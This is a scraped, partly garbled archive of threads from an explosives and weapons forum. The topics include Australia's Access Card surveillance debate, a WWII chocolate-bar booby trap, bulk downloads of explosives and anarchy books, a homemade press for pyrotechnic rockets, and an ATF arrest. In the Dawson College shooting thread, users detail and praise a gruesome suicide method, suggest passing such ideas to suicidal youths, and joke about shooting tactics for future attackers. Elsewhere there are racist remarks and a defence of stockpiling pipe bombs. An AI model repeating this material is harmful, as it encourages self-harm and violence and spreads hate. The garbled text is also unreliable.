The Senate inquiry heard the Federal Police would want to copy names and photos from the Access Card in the course of investigating possible criminal activity."
While the news did it's cursory "protecting the people by being a watchdog" bullshit and talking about the "Access Card" being a possible "Identity Card", it was portrayed in a favourable light and is once again
portrayed in a favorable light by the newspaper.
Note in the above extract, it says that the Federal Police would want to "copy names and photos" (for facial recognition I don't doubt) "in the course of investigating POSSIBLE criminal activity". So in otherwords,
it doesn't matter if you are actually convicted for anything, the AFP will have a "finger in every pie" as it could be said.
Basically, if you are on Medicare or Centrelink, you will have one of these cards.
Which part of the population would have the highest rate of criminal activity? The people that have these cards. NBK, as you have said, the only way to control the population is to make them all criminals and this
is just another footstep along that path. A way to catch all the criminals made.
I don't think there is a thread currently regarding identity cards, but since this is an Australian issue, no point in making a new thread.
Damn, can't include attachments.
c.Tech March 13th, 2007, 08:32 AM

Giving governments powers only lets them expand it, first its a "Access Card" then turns to a "Identity Card" then we need to carry it at all times or be arrested, finally they install RFID chips and monitor our every
movement, also having our face they have security cameras placed everywhere and if your RFID doesnt show up with your face showing that youre in that area security could be thrown in to check.
In a post 9/11 situation the governments will get their way. Especially when they are pushing for global control.
Bugger March 13th, 2007, 05:58 PM

That is very dangerous! Without exception, such "identity cards" have been abused by government agencies in EVERY country in which they have been introduced,for the purpose of control and surveillance of the
populaton for party political purposes! Crime busting be damned!
stephenb25 March 16th, 2007, 09:42 PM

Hi I'm also in Australia. I think that identity card is a very bad idea. I can just see them abusing it already.

Just an Update on the identity card.
"Details on card held forever
The Federal Government has admitted transaction record for the $1.1 billion welfares smart card will be kept indefinitely, prompting new concerns about tracking and surveillance abuse.
The Human Services department has told the Democrats records would be retained for "audit and security" purposes.
A Senate committee will today table its report into the card, which the Government wants used by 17 million Australians by 2010. The card is designed to replace the Medicare card and up to 16 others that allows
access to such benefits as Centrelink and veterans' payments.
A photograph of the holder will appear on the card and be stored on its electronic chip (sic - RFID) and on a central databank. The Government has played down concerns it would become a national ID card or usher
in a "big brother" era surveillance. It argues the card is needed to save $3 billion in welfare fraud over 10 years.
"For the first time, it seems, the Department of Human Services will not give a guarantee that there will be no analysis of the log files created as a result of the transaction with Medicare, Veterans' Affairs and
other participating agencies," Democrats spokeswoman Natasha Stott Despoja said.
"The mandatory retention of the log files potentially gives law enforcement agencies and the department access to a vast wealth of communications data without a judicial warrant.
"This will be a valuable tool in determining your physical data. That is, were you at a crime scene or were you at your appointment?" Senator Stott Despoja will move an amendment to ensure the deletion of the log
files.
A spokesman for Human Services Minister Senator Chris Ellison said: "The audit logs will help to protect access card user privacy by recording who accesses the register and ensuring it is only done for appropriate
purposes."
"The Bill contains penalties for people who inappropriately access information contained in the access card system."
Law enforcement agencies can compel the department to provide information as part of a search warrant or under privacy regulations."
Note that the only real mention of abuse is in the last sentence, and doesn't really talk about it. Just says that Law enforcement agencies can compel the department. Bunch of morons.
Also, in addition to this I have -
"Smartcard plans 'on schedule'
The Federal Government says its proposed health and welfare Smartcard will be rolled out on schedule despite an inquiry raising major concens about it.
Human Services minister Chris Ellison said yesterday the government would combine all elements of its proposal into one piece of (sic - shit) legislation which he hoped to introduce into Parliament as early as
June.
In a report released on Thursday, a government-dominated Senate committee recommended legislation be rewritten to include privacy provisions which the government had planned to introduce as a second
tranche of legislation on the card. The government wants the single card to replace the Medicare and other benefits cards."
Sneaky that, calling it by another name so that it is difficult to link the two together. The only really links there is the possible abuse of power, Chris Ellison and the last sentence that talks about it replacing
Medicare.
I doubt that they are going to can this access card. Both the government and the opposition support it.
Along with this article, things are rather scary.
"Access card 'fraud risk'
The proposed national access card risks becoming a national identity card by stealth and must be sent back to the drawing board, a damning report by a cross-party senate committee has claimed.
Liberal MPs on the committee raised concerns about the Government's proposal include a photograph and digital signature on the card, saying that could lead to counterfeiting.
A photograph on the card could provide an "extra layer of legitimacy to false identities" (sic - not to mention facial recog.).
"The inclusion of a biometric photograph on the surface of the card increases the likelihood of the access card becoming a de facto national ID card," the committee report says.
A digitized signature on the card should be a matter of choice, it says. There should be no centralized database holding all of a person's information.
"The committee does not consider that the inclusion of a digitized signature on the surface of the card is necessary to achieve the Bill's two key objectives," the report says. The proposed card could replace
Medicare card and be COMPULSORY for any Australian who wants to access up to 16 other government health and welfare services.
Liberal committee members felt a "general unease" about the adequacy of the Human Services Bill. "The committee is being asked to approve the implementation of the access card on a blind faith without full
knowledge of the details or implications of the program," members said.
"This is inimical (harmful) to good law-making."
The card is designed to replace Medicare card and up to 16 other health and social cards.
The committee called for a second tranche of legislation to address protections, appeals and review mechanisms. It was critical of the limited time given to the committee to examine the Bill.
New Human Services Minister Senator Chris Ellison last night said he would accept the recommendation to bring together a second tranche of legislation with the Bill. He was confident the committee's concerns
could be addressed.
"The Government remains committed to having the legislation passed THIS YEAR" he said. Committee member Democrats Senator Natasha Stott Despoja said the report was "damning" and showed "this
legislation, the card and the database are fundamentally flawed."
Labor human services spokeswoman Tanya Plibersek said the access card was so bad that Government MPs had "swallowed their fears and spoken out".
Labor committee members agreed with the substance of the majority committee report and also the recommendation to delay the Bill."
Discussion?
Tackleberry February 4th, 2008, 07:33 PM

:)That is very dangerous! Without exception, such "identity cards" have been abused by government agencies in EVERY country in which they have been introduced,for the purpose of control and surveillance of the
populaton for party political purposes! Crime busting be damned!
C,mon boys and girls...Lets be realistic....If you have a drivers licence, firearms licence, passport and in some schools, TAFE,s Uni's ID card etc, etc you are already carrying a photo ID. Hell! I bet your all on a
camera somewhere in the world, Let alone OZ or NZ. Lets talk shop, not politics....:D.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Ebook rea der
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sbovisjb1 S e p t e m b e r 1 4th, 2006, 07:13 PM

I have been searching the internet for an ebook reader on the cheap. Sony is releasing a reader later this year, but PopSci has
speculated that its price range would be between 400-600 dollars. A few sites that i have looked on have been
www.Dhgate.com, www.chinavasion.com and www.sz-wholesale.com and have found mp4 players, but they were either over
priced, screen too sm all or not enough m emory (looking for 5-10gigs). T his technology, m ay not have been sufficently
developed, but I would appreciate any help.

Do you m e a n a h a r d w a r e b o o k r e a d e r ? Y o u m ight as well get a laptop for what these cost. The technology has not m atured as
fast as was prom i s e d , l i k e m o st things with com puter te chnology. It will be m any years yet before a lightweight electronic
device to rea d books with a high res display is cheap enough to be worth it.

Thank you very m uch for the spelling corrections *blush * I forgot the 'A' as I see it the purchase wont be worth it just yet,
m aybe a year down the road, but not now. Thankyou for the help and be st of luck.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Shooting in Dawson College
(Montreal)
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syfilius S e p t e m b e r 1 4th, 2006, 11:38 PM

Yesterday, m o s t o f u s i n M o n t r e a l w a s i n s h o c k . A s t u p i d g u y h a s g o n e i n o n e o f o u r c o l l e g e a n d b e g i n n i n g s h o o t i n g p e o p l e .
Media say that after that he tried to co m m it suicide. But there a lot of confusion, other say he was shot down by police office r.
Again, politic will again try to rem ove g un from our hand because of this inciddent.
The last news as a know is 20 people in hospital for psychologcal shock, 4 heavily injured and 2 dead, includind the m oron.
The media talk about his site were his claim that he will comm it suicide and put d o w n a s m a n y p e o p l e h e c a n i n t h e s a m e
tim e.
W h a t d o y o u t h i n k o f t h o s e p e o p l e c o m m iting violent act like this.
Sausagemit S e p t e m b e r 1 5th, 2006, 01:30 AM

Just another idiot trying to get people to notice him .
If I was going to comm it suicide I would do it in a public place without taking any inocent people with me. And I wou ld do it in
such a horrib ly grotesqe m anner that they will never forget.
W hat I would do is (this is a friends idea not m ine) tie a rope around m y feet. W rap a piano wire that is shorter than the rope
a r o u n d m y neck. Tie both of them off to a building or brigde. Glue my hand to my head a n d j u m p . S o y o u h a v e a h e a d l e s s
guy hanging by his feet and is holding on to his head with one hand.
Deathlord S e p t e m b e r 1 5th, 2006, 02:14 AM

That event just gave m o r e a m m o t o t h e a n t i - g u n n a z i s . W hen will they learn that we shou ld be controlling crazy people and
criminals, not guns. This is de p r e s s i n g a n d a g r e a t l o s s .

Google cache of his p a g e o n " V a m p i r e F r e a k s " :
http://72.14.235.104/search?q=cache:Pa4WdO RZYBMJ:www.vam pirefreaks.com /
profile.php%3Fuser%3Dfatality666+Kimveer&hl=en&gl=au&ct=clnk&cd=2
His "Journal":
http://vam pirefreaks.com /journal.php?pg=2&u=fatality666

W hat do you want to bet that in the last m onth or so, som e anti-gun law was proposed an d didn't get enou g h v o t e s t o p a s s ?
W hat's the probability of this law now being passed because it'd have 'prevented' this VERY EXACT crim e ?
I don't know if it work s this wa y in Canada, but this is the pattern in the US. I'd not be surprised if it was the same in
Canuckistan.
Anyways...tim e for a critical dissection of his attack for tactical errors that future shooters could avo id.

W ell, his kill count wa s pretty low for hitting so m a n y p e o p l e . . . m aybe if he just le arned how to properly aim his weapon before
goin g o n a s p r e e . . .

Now, I have the correct fact, this guy, Kim veer Gill, mem ber of vam pireFreak.com, has kill one person and injuried 19 other
before killing himself by blowing his brain out. W h a t a n a r s e n a l h e h a d , t h e r e w a s a S e m i-autom atique Berreta riffle, m o d e l
CX-4 Storm, a Glock 45, a 9m m gun (unknow), and a chiness haunting Riffle Navingo, m o d e l H P - 9 , 4 5 6 m m a n d a r o u n d 1 0 0 0
a m munition
A CX-4 Storm , before buying a gun like that, this guy has pass trough the m ost severe barrier in the world. say an armorer of
Montreal.
This weapon is highly restricted in Canada. Tha t the pro of that Harper is right: W e don't need to register firearm s b e c a u s e
n o t h i n g c a n s t o p s o m e o n e t o c o m mit a crim e .
Actually, the news say that he had three weapon, but is say:"(...)a semi-autom atic riffle, brand Berreta, m odel CX-4 Storm , a
pistol caliber 45 of brand Glock, 9m m (...).
Look like this journalist don't even know by witch side the bullet will go out. What she was triyng to say, a Glock 45 that can
shot 9m m ???
ShadowMyGeekSpace S e p t e m b e r 1 5th, 2006, 05:09 PM

I suggest correcting your gram m ar and spelling ASAP, b ecause I can't un derstand what you just said. That m eans NBK is sure
to be coming for you.

S a u s a g e , t h e s u i c i d e i d e a h a s c o m e d i c v a l u e , b u t y o u ' d n e e d a h e l l o f a s u p e r g l u e. How would it hold when subjected to
enough force to rip a head off?

That's what the piano wire around the neck is for!! Zip o ff the he ad with a high tension wire.

S a u s a g e m it, I love your idea. :)
Is it possible t o we i g h t h e s t r e n g t h o f t h e p i a n o s t r i n g a g a i n s t t h e s t r e n gth of your spine so the wire wouldn t s n a p ?
w22shadow S e p t e m b e r 1 6th, 2006, 09:15 PM

Gill... describ es him self as Indian... (Source (http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/2 0 0 6 0 9 1 4 /
gill_profile_060914/20060914/)) Yet another exam ple of the success of m ulticulturalism . :rolleyes:
He could have done with a m uch better weapon . Is it difficult to acquire large-caliber sem iautomatic rifles in Canada ?
Hirudinea S e p t e m b e r 1 6th, 2006, 09:23 PM

W h a t d o y o u t h i n k o f t h o s e p e o p l e c o m m iting violent act like this.
I think people like that should be burnt to death in a pool of racing fuel in a public square!
W hat do you want to bet that in the last m onth or so, som e anti-gun law was proposed an d didn't get enou g h v o t e s t o p a s s ?
W hat's the probability of this law now being passed because it'd have 'prevented' this VERY EXACT crim e ?
I don't know if it work s this wa y in Canada, but this is the pattern in the US. I'd not be surprised if it was the same in
Canuckistan.
That knid of tack isn't necessary in Canada, 3 of the 4 Federal political parties wo uld be m ore than happy to outlaw anything
that rem otely looks like a gun (point your finger and sa y Bang-Bang and its off to jail!) and when they get back into office
eventually th ey will bring this debalce back up as another reason to make their prejudices into law.
This weapon is highly restricted in Canada. Tha t the pro of that Harper is right: W e don't need to register firearm s b e c a u s e
n o t h i n g c a n s t o p s o m e o n e t o c o m mit a crim e .
True, but m aking laws that LO OK like they're effective is so m uch easier that laws that ARE effective.
suggest correcting your gram mar and spelling ASAP, because I can't understand what you just said . That m eans NBK is sure to
be com ing for you.
From his terrible spelling and gram m a r I ' e d a s s u m e that syfilius is French, so you can cut him s o m e slack unless your French
is better that his English in which case I'm sure he'ed be willing to switch. (As for m y terrible spellin g and gram m a r I h a v e n o
o n e t o b l a m e but the Canadian Educational System .)
That event just gave m o r e a m m o t o t h e a n t i - g u n n a z i s . W hen will they learn that we shou ld be controlling crazy people and
criminals, not guns. This is de p r e s s i n g a n d a g r e a t l o s s .
But its so m uch easie r to mak e laws punishing people who actually obey the law.

Ya, you're right and wrong in the sam e tim e Hirudinea. I'm not French, but French is m y native language. In fact I hate Fren ch
guy with their stupid accent that even someone who speaking French don't understand. Anyway, NBK, I hnow that is this site is
not an English course site, but, I will be more than happy to anyone who will show m e m y errors instead than just te lling m e
that I have a poor English.
And yeah, w22shadow, i'ts hard to get large caliber Sem iautomatic weapon in C anada. In fact, you have to pass two license to
acquire them . First, the norm al PAAF (Permis d'Acquisition d'Arm e Feu - don't know how it's called in English), end then
another for Restricted Firearms and it's delicate. They will ask to fill up about 3 pages of question about everything they can
im a g i n e , a n d y o u h a v e t o a n s w e r i t . T h e y a s k q u e s t i o n a b o u t d r u g c o n s o m m ation, criminal infraction, fam ily history of firearms
p o s s e s i o n , s o c i a l s e r v i c e n e e d s , a n d t h r e e o t h e r p e o p l e m ust sign those papers. So yeah, it's difficult to obtain R estricted
Firearms.
P.S. to Hirudinea: Check your history one m ore tim e, it's not Einstein who invente d the lighbulb, but Thom as Edison .
ShadowMyGeekSpace S e p t e m b e r 1 6th, 2006, 11:01 PM

M y m i s t a k e , t h e g r a m m ar scream ed "child", no t foreigner to me. Please accept m y a p p o l o g i e s .
Docca S e p t e m b e r 1 7th, 2006, 09:20 AM

Anyway, NBK, I hnow that is th is site is not an English course site, but, I will be m ore than happy to anyone who will show me
m y errors instead tha n just telling m e that I ha ve a poor English .
A. O k, here's the short (hopefully) constructive criticism of your English - You m ight want to work on your understanding of
(English) plurals and spelling. That said, I understand you and you're almost certainly doing better at English than I would at
Fren ch...

Ya, you're right and wrong in the sam e tim e Hirudinea. I'm not French, but French is m y n a t i v e l a n g u a g e .
Sorry, I shou ld have said "Syfilius speaks French."

fact I hate French guy with their stupid accent that even someone who sp eaking French do n't understand.
The joys of Joual. :rolleyes:
Permis d'Acquisition d'Arme Feu - do n't know how it's called in English
Firearms Aquisition Certificate
P.S. to Hirudinea: Check your history one m ore tim e, it's not Einstein who invente d the lighbulb, but Thom as Edison .
Actually its a quote from Homer Simpson that I jokingly use to show the level of m y general scientific knowledge.
syfilius S e p t e m b e r 1 8th, 2006, 12:02 AM

Ok, I have read myself, and I can only say one thing, disgusting. Maybe I should slow down a little bit when typping m e s s a g e ,
r e - r e a d m y s e l f a n d m a k e a t t e n t i o n t o m y s t u p i d d i s l e x i a p r o b l e m . I m ix F with V and G with C. And the most important, check
for error when correcting m e s s a g e .

Ok, I have read my first post, and I can say only one thing, disgusting. Maybe I should slow down a little bit when typping
m e s s a g e s , r e - r e a d m y posts and pay attention to m y stupid dislexia problem. I m ixed F with V and G with C . A n d t h e m o s t
im portant thing, check for errors when correcting messages.
Mabye that will help a little :D
I could understand you just fine, I just had to read your posts a little slower. Just as long as you don't absolutely butcher the
english language (which you are not) and work on your plurals a little bit you will do just fine.
Is it possible to weigh the strength of the piano string a gainst the strength of your spine so the wire wouldnt snap?
Yes it is.
Mabye we should start hanging around suicidal kewls and give them idea s like this. So when the do decide to go down in a
haze of glory, they will only take themselves.
It will definatly seperate out the fakers wanting attention from the real people who want to kill themselves.
Jacks Complete S e p t e m b e r 1 9th, 2006, 07:23 PM

It just shows that the laws dragged in after the last shooting didn't make the blindest bit of a difference. They never do. Didn't
in the UK, either, in fact they m ade it worse, the numbe r of killings with guns has gone up by 300% here. Just like it went up
last time they tighten ed the law, and the time before th at...

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > C andy Bar "Bom b"
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w22shadow S e p t e m b e r 1 6th, 2006, 03:54 PM

I was unable to find any reference to this (http://img140.im a g e s h a c k . u s / i m g 1 4 0 / 3 2 4 0 / c h o c o l o a t e g r e n a d e c p 5 . j p g ) u s i n g t h e
search engine and I thought it m ight get a few laughs. There is a larger version of this picture here (http://www.m i5.gov.uk/
files/images/exploding_choc_large.jpg).
Interestingly, I found a scaled-down version of this picture in a B.B.C. article (http://news.bbc.co.uk/1/hi/technology/

4 3 0 4 1 9 2 . s t m ) through Google. :p

W hy put a picture like this on a news like that ???

A W W 2 b o o b ytrap cre ated by the Nazis to be le ft behind and picked up b y unwary GI's.
If it was bein g shown in the context of a terrorist weapon, it's m assive misdirection and ignorance.

W hy would an American G.I. p ick up a crappy Germ an chocolate bar? Now if it was a Hershey...
Anyway this reminds m e o f a n o t h e r s a b o t a g u e d e v i c e I s a w s o m ewhere (I wish I could rem e m ber where), it was an explosive
d i s g u i s e d t o l o o k l i k e a piece of coal, a resistance m e m ber would sneek it into the coal box of a train.
W h e n t h e b o m b w a s s h o v e l e d into the firebox of the train, the "coal" would explo de rupturing the boiler and disabling the train
(or that was the idea anyway.)
Actually not a bad idea, if it worked.
Blow-UpDoll S e p t e m b e r 1 7th, 2006, 05:56 AM

S e v e n s e c o n d s t o d e t o n a t i o n t i m e ? S e e m s like plenty o f time to see what it is and get rid of it, no? The chocolate p art does
look delicious though.
akinrog S e p t e m b e r 1 7th, 2006, 08:53 AM

W hy would an American G.I. p ick up a crappy Germ an chocolate bar? Now if it was a Hershey...
Assume that you are in the war and all you eat is thin soup or tasteless biscuits o r canned food. W hat will you do when you see
a tasty looking chocolate bar? :D
Ropik S e p t e m b e r 1 7th, 2006, 10:40 AM

The only thing that is confusing m e is why these things had the seven second delay. Weren't they intended like a m e a n o f
s m u ggling explosive through checkpoints, rather than b oobytraps? Unsuspecting chocolate breaker would h ave m ore than
enough time to realize that th ere is so mething funny about a ch ocolate which has a canva s strip in s i d e a n d throw it away.

Actually Germ any makes some of the best chocolate in the world. Along with Switzerland and Austria. When m y m o m b r o u g h t
m e s o m e, I was in heaven, it was so creamy and silky and W AY BETTER than any hershey.

Agreed, in peacetime, but during the war when the Germ ans were putting sawdust in their bread and burnt beats in their coffee
the quality of C hocolate droped m arke dly, hell after the war a G.I. could buy a sm all castle on the Rhine for a Hershey bar a n d
a pack of sm okes! :D

Other sources I've read said that there was no delay, hence boobytrap.
W hat good would it do to have such a sm all bom b a s a s a b o t a g e d e v i c e i f y o u o n l y h a d s e v e n s e c o n d s t o g e t a w a y f r o m t h e

s c e n e ? Y o u ' d g e t 5 0 f e e t b e f o re the explosion got every enemy soldier in the are a on your ass. Not very good for continued
resistance.
Ropik S e p t e m b e r 1 8th, 2006, 01:21 PM

Yeah, that was bugging me. It was certainly too sm a l l t o h a v e a d e c e n t a m o u n t o f explosive in it, so the boobytrap usage is
the only one which makes sense.
cutefix S e p t e m b e r 1 8th, 2006, 06:19 PM

I n d e e d E u r o p e h a d l o t s o f g o o d c h o c o l a t e s i f c o m pared to Am erica.But the m ain difference lies with the longer processing time
which greatly affects the flavor.

There are plenty of fine chocalate m akers in America too, equal to anything in eu rope, not just the m a s s - p r o d u c e d H e r s e y ' s .

C h o c o l a t e i s a m atter of ingredients and preparation, not geography. The rule of thum b is you get what you pay for. I dislike
Hersheys chocolate, or rather I should say I will not buy it when I can get much b etter for a little bit m o r e . I h a v e e a t e n s o m e
very delicious Austrian chocolate, and som e Belgian truffles. I usually get Dove chocolate since it tastes so much be tter than
anything else at the store.
I consider my favorite food to be chocolate covered alm onds, a rather hard to come by com modity in the retail stores. My
favo rite chocolate is from a small shop on the boardwalk in Atlantic City. At $16 a pound, and several states away, it is not
s o m ething I get all the tim e , b u t s o m etim e s y o u f e e l l i k e s t e a k i n s t e a d o f h a m b u r g e r .
But I digress You dont have to be a starving GI to pick up a strange ca ndy bar and eat it. I am well fed a nd I wou ld chom p a
free candy bar down in a heart beat (as long as the wrapping was intact), of course I love chocolate

And knowing this is com mon with m ost people, is why it's part of the Ran dom Terror section of my PDF.
Everyone loves candy. And who'd pass up eating a sealed candy-bar they found o n the bust? ;)
(Actually, I m eant 'bus', but the typo is even m ore true! :D)

But if you were a starving GI you probably wouldnt think twice about shoving it down your hole.
You would probably just bite right into it rather than breaking off the row, hitting the m etal and warning you that something
isnt right.
teshilo S e p t e m b e r 2 0th, 2006, 10:51 AM

This "bomb" described in FM 5-31 "Boobytraps" not detailed, only image and few words ...In her design used friction
igniter...More m odern idea use flattened electric blasting cap and pressure sensor...

C h o c o l a t e s a uce licke d off naked titties, now th ere is a boobie trap :D

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > 686 Book Flood . Keep the
newbies busy
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Hemisync S e p t e m b e r 1 7th, 2006, 01:16 PM

H u g e f l o o d o f e x p l o s i v e s , g u n s and anarchy bo oks on USENET.
http://rapidshare.de/files/334 5 6 9 0 1 / u s e n e t _ b o o m . t x t . h t m l for the title listing.
This is aim ed mainly at the newbies th at do not have m uch in their collection.
I suspect the m ore experianced will ha ve m ost of the titles. Never the less there m ay be a few nuggets amongst the crud for
the seniors.
I believe,you will need to have access to a good quality (read paid access) usenet server.
W ith the righ t usenet service they can be downloaded in one .rar package,or as a batch download.
Check in alt.binaries.e-book.technical under R o c k h o u n d 57. Over 600 titles at 1.86 gig. They were posted between Septem ber
10 -13, 2006.
O f c o u r s e s o m e usenet sites have better retention rates than others. In all likelyhood most of the links will be gone after 40
days as the new stuff flushes out the existing files.

As a reference always post Rapidshare links in the thread lots of Rapidshare links (http://www.roguesci.org/theforum /links-
literature/5388-lots-rapid-share-links-9.htm l).
Another bonus of doing this is that it k eeps the links alive for longer.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > " I n g e n i o u s e x p e r i m ent" with
lightning
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azaleaem S e p t e m b e r 1 8th, 2006, 12:12 PM

The author o f this paper on lightning must think highly of him se lf. The third paragraph starts "This ingenious author, from a
great variety of curious and well-adapted experim ents...." It's very intere sting to read.
http://www.jo urnals.royalsoc.ac.uk/openurl.asp?genre=article&issn=0260-7085&volum e = 4 7 & s p a g e = 2 0 2
root: http://www.pubs.royalsoc.ac.uk/archive

Considering that the author in question is Benjam in Franklin, I dont think calling him a scientific genius is too far of a stretch,
do you?

But it's so gaudy to refer to oneself as a genius, unless you hap p e n t o b e o n e l i k e m e! ;) :D

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > R ecom m e ndations on Hydraulic
Presses
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lonestr S e p t e m b e r 1 8th, 2006, 03:30 PM

Hello everyone.
I ' v e b e e n d o i n g s o m e very ba sic pyrotechnics so far, an d I am slowly ram ping m y self up to som e slightly m ore com plicated
stuff. I've be e n t h i n k i n g a b o u t m a k i n g s o m e rockets using whistle mix, and if I were going to do this, I would need to get m y
hands on a press.
I ' v e b e e n l o o k i n g a t t h e p r e s s e s a v a i l a b l e f r o m http://www.hobb yfireworks.com/Rocket.htm l

Before I do anything, I just wanted to check with all of you, and see if an y of you have suggestions on presses and which on es
you feel have worked well to press typical pyro com positions.
Thanks guys.
cutefix S e p t e m b e r 1 8th, 2006, 06:24 PM

I f y o u h a v e s o m e b i t o f m e c h a n i c a l a p titude, and good with your hands with anything related to DIY repair, you can im provise
using your car's tools accessories like the hydraulic jack.:cool:
Sausagemit S e p t e m b e r 1 8th, 2006, 11:37 PM

It wouldn't be that ha rd to ma k e o n e f o r u n d e r $ 5 0 U S.
All you would need would be the following item s...
Bottle Jack (http://www2.northerntool.com /product/2003 26592_2 0 0 3 2 6 5 9 2 . h t m )

Pressure Gauge for Bottle Jacks (http://www.hyjacks.com / 7 6 4 1 2 g . j p g )
Angle Iron (http://www.4x4wire.com /toyota/tech/gastankskid/angle.jpg)
Sqaure Tubing (http://www.chippingaway.com /W oodCarving/BirdCarvingSupplies/BirdImages/square%20tubingweb.jpg)
Nuts & Bolts (http://www.pipelinepub.com/0605/graphics/nuts_bolts.jpg)
And these tools...
Drill (http://www.hr-hardware.com /im g/electric-drill/electric-drill-s61011.jpg)

Angle Grinder (http://www.ryobitools.co m/im ages/tools/AG451K.jpg)
If you don't allready have the tools it would still be cheaper to m ake your own. A decent drill and a decent angle grinder can be
had for less than $50 each. Plus you would have som e decent tools. And angle grinders are cool and very handy. An angle
grinders is to a drem el like a claw ham mer is to a sledg e h a m m e r .
lonestr S e p t e m b e r 2 0th, 2006, 05:04 PM

I appreciate the responses, and I have been looking into what it would take for m e t o m a k e m y own.
T h e b i g g e s t h u r d l e I a m facing is finding a bottle jack that has a pressure gauge, and is still reasonably cheap. While the first
jack that Sausagemit linked only cost about $30.00, the one that has a port for a pressure gauge unfortunately costs $112.00,
a n d t h e p r e s s u r e g a u ge costs an additional $179.49.
I can find tons of sup er cheap bottle jacks, but not ones that either com e with a pressure gauge, or have a port for one.
I would think that having the pressure gauge would be important to make sure that the compositions are b eing pressed with
the correct am ount of force.
I ' l l k e e p l o o k i n g . B u t i f a n y o n e h a s m o r e s u g g e s t i o n s o r tips with these things, I'd love to hear about it :).
Thanks again.
deadman S e p t e m b e r 2 1st, 2006, 03:09 AM

W hile a pressure gauge would be useful it is not particularly important. Make sure to use sleeves, and you'll most likely be
fine. After a short am ount of use a press without a gauge will be easy to use and end with a high quality product.
Skean Dhu S e p t e m b e r 2 1st, 2006, 09:35 PM

I'm sure there is som ething I'm overlooking, but why not just figure out the density that your powder needs to be pressed to in
order to function properly and then use that as your guide rather than sp e n d 1 0 0 + d o l l a r s o n a p r e s s u r e g a u g e ?
Dan William s pyrotechnic page has a powder press tutorial that em ploys that exact practice.
http://www.pyrotechniques.org /dwilliam s/tools.htm l
http://www.pyrotechniques.org /dwilliam s/top.htm l
edited to include his hom e p a g e s i n c e h e d o s e n ' t h a v e a ' h o m e' button, and to correct his nam e
lonestr September 2 2nd, 2006, 03:27 PM

T h a n k s S k e a n . I n m y searching I had not com e across that page. I appreciate the link.
W ith the info rm ation I have now, I think I'm going to try and m a k e m y o w n .
Thanks for everyone that contributed inform ation.

Bert S e p t e m b e r 2 3rd, 2006, 11:12 AM
You might want to go to Rich W olter's site and look at his Pressure Conversion Gauge: http://www.wolterpyrotools.com/
pyro tools/rockettools.htm l
$ 9 1 . 0 0 b u t y o u w o n ' t n e e d t o d o a n y m o d i f i c a t i o n o f y o u r b o t t l e j a c k . Y o u W I L L n e e d t o d o s o m e m ath to relate total force

aplied to PSI on the composition, but they com e with instructions.
(edit: Rich has som e info for this posted on his site: http://www.wolterpyrotools.com /tips/rppcf.htm l)
Rich m akes nice tools.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > ATF arrests evil Briton in Northern California
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WEAVERVILLE, Calif., Sept. 14 from PRNewswire
Agents from the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) and deputies from the Trinity County Sheriff's Department announced today that they arrested Mark
Sherman, a British citizen living in this rural northern California community, for violations of federal firearms and explosives laws.
Sherman, 26, was arrested yesterday in a mountainous area east of Weaverville. He was armed at the time of his arrest, but was taken into custody without incident.
A federal search warrant was later served at Sherman's residence on Grandview Drive in Weaverville and among other items, investigators seized an SKS assault rifle, a semi-
automatic shotgun, a rifle and a homemade silencer designed for the rifle. In addition, three suspected improvised explosives devices (IEDs) were located and removed safely
from the property by ATF Explosives Enforcement Officers.
The arrest and search of Sherman's residence culminated a five-month investigation by the Trinity County Sheriff's Department and ATF. Sherman is an illegal alien prohibited
from possessing firearms, and was alleged to have several firearms and illegal explosives devices. Sherman was transported to Sacramento for his initial appearance in federal
court today.
"As a team, ATF and the Trinity County Sheriff's Department worked diligently and after careful planning, were able to take Mr. Sherman into custody without incident," ATF
San Francisco Special Agent in Charge Stephen K. Martin said. "The illegal possession of firearms and explosives will not be tolerated by law enforcement in Northern
California."

Thank the gods fedgov was all over this terrorist plot. I wonder if this guy actually hurt, or ever would have hurt anyone. I think the last line says it all, with a slight bit of
paraphrasing on my part
The possession of firearms, explosives, and freedom will not be tolerated by law enforcement
If this man had threatened or hurt anyone the fedgov mouthpiece would have been quick to rally the sheeple and declare fedgov as the protectorate of the people. Since he
was actually taken without incident, this implies he was just an ordinary citizen exercising his true rights and freedoms within the current environment of illegal laws and
corrupt gestapo police enforcement.
I wonder what it was that tipped off the fedgov to his activities? Did he do something stupid, or was he snagged through any of the numerous illegal searches and seizures?
Perhaps he was spotted buying bullets by a gestapo informant and a warrant was crafted from fabricated evidence. Or perhaps it was just a peeved neighbor/friend/relative/
doogooder sheeple type.
The plot thickens. I found a bit more information in another news article:
SACRAMENTO, Calif. -- A British man is being held without bail on charges of stockpiling weapons and building homemade explosive devices at his Trinity County home in
anticipation of Armageddon.
Mark Sherman, 26, also is charged with living in the U.S. illegally. He has been living for more than two years with a woman and her mother in their mobile home in
Weaverville, a mountain community 45 miles west of Redding.
He and the woman, Crystal Hodges, had carried on an Internet correspondence for about a year before she invited him to California. He arrived from the United Kingdom in
April 2004 and stayed on even after his visitor's visa expired that July.
Before Sherman's arrest on Wednesday, Hodges told authorities he was obsessed with apocalyptic biblical prophecies and believed the end of the world was near, said Steven
Carman, a senior special agent of the federal Bureau of Alcohol, Tobacco, Firearms and Explosives.
Sherman also threatened to kill Hodges and her mother if they tried to turn him into immigration authorities or the police, Carman said in an affidavit attached to the criminal
complaint against Sherman.
Hodges said Sherman stored eight firearms and a cache of ammunition in the mobile home, and that he told her he was making pipe bombs to use against police or attackers,
according to the affidavit.
Sherman appeared in federal court in Sacramento on Thursday but did not enter a plea.
There are, what, 1.5-2 billion Christian types in the world? The bible says the end cometh, and believing in the bible is something of a requirement for the faith. Having a few
guns and a pipe bomb does not make you a nut, it makes you slightly more prepared than 80% of the rest of the world. Considering how the end times is expected to result in
an 80% decrease in the population, I would say being a little prepared is just good common sense.
Since this is the 21st century, and nothing could EVER go wrong in Kalifornia (like natural disasters, a terrorist attack, biological weapons, or a fedgov gun grab), you dont need
guns. Just like when Katrina hit in New Orleans, nobody needed guns to protect themselves from the hordes of rampaging looters, rapists, and killers because the fedgov had
